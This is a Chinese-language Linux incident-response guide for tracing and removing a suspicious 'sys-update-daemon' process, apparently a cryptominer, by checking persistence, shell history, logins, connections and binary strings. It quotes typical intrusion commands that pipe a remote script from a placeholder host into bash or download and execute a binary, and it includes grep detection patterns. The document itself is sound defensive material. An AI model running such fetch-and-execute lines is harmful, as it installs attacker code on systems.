发现可疑进程 /root/.config/sys-update-daemon 时,正常系统进程不会放在用户家目录下,这类路径通常是挖矿木马或后门程序的伪装。
第一步:确认文件创建时间
stat /root/.config/sys-update-daemon
重点关注:
Modify:文件最后修改时间Change:inode 变化时间Birth:创建时间(支持 ext4)
通过创建时间可以缩小入侵时间窗口。
第二步:查看进程树
pstree -asp <PID>
或:
ps -ef --forest | grep sys-update
确认是什么进程启动了它(bash、cron、systemd、SSH session)。
第三步:检查 systemd 持久化
恶意程序最常见的持久化方式:
# ���看可疑服务
systemctl list-units --type=service | grep -i update
# 搜索 systemd 配置文件
grep -R "sys-update-daemon" /etc/systemd /usr/lib/systemd /root/.config/systemd 2>/dev/null
如果找到 ExecStart=/root/.config/sys-update-daemon,说明已持久化。
第四步:检查 cron 任务
crontab -l
grep -R "sys-update-daemon" /etc/cron* /var/spool/cron/ 2>/dev/null
第五步:查看 Shell 历史(关键)
history | grep -E "wget|curl|chmod|sys-update"
cat ~/.bash_history | grep -E "wget|curl|sys-update|chmod \+x"
常见入侵模式:
curl http://x.x.x.x/1.sh | bash
wget http://x.x.x.x/sys-update-daemon && chmod +x sys-update-daemon
如果 history 被清空,查历史文件大小是否异常:
ls -l ~/.bash_history
wc -l ~/.bash_history
第六步:查看 SSH 登录记录
last -a # 最近登录历史,带 IP
lastlog # 每个账户最后登录
重点看陌生 IP 地址。如果服务器 22 端口暴露公网,极可能被 SSH 爆破入侵。
第七步:查看网络连接
ss -antp | grep <PID>
lsof -i -P -n | grep sys-update
挖矿木马常见连接端口:3333、4444、5555、7777、14444(矿池端口)。
第八步:静态分析二进制
sha256sum /root/.config/sys-update-daemon
strings /root/.config/sys-update-daemon | less
搜索关键字:
strings /root/.config/sys-update-daemon | grep -iE "xmrig|stratum|mining|pool|bot|cnc"
出现 xmrig、stratum+tcp://、矿池域名基本确认是挖矿木马。
第九步:查最近被修改的文件
推断同时落地的其他恶意文件:
# 最近 1 天内修改的文件
find /root /tmp /var/tmp -type f -mtime -1 2>/dev/null
# 按具体时间查(替换时间为创建时间)
find / -type f -newermt "2026-05-28 00:30" ! -path "/proc/*" 2>/dev/null
隔离和清理
# 先杀进程
kill -9 <PID>
# 移除执行权限
chmod -x /root/.config/sys-update-daemon
# 检查是否自动重启(有守护进程)
ps -ef | grep sys-update
如果持续重启,说明还有守护脚本:
systemctl stop <service-name>
systemctl disable <service-name>
rm /etc/systemd/system/<service-name>.service
常见入侵向量
| 原因 | 排查命令 |
|---|---|
| SSH 弱密码/爆破 | `last -a |
| Redis 未授权 | redis-cli config get requirepass |
| Docker API 暴露 | `ss -antp |
| 宝塔弱口令 | 查 Panel 访问日志 |
| Java/Jenkins/Log4j 漏洞 | 查应用访问日志异常请求 |
公网暴露的服务器,SSH 默认端口 + 弱密码几乎一定会被爆破。建议:禁止密码登录,只允许 SSH 密钥认证。
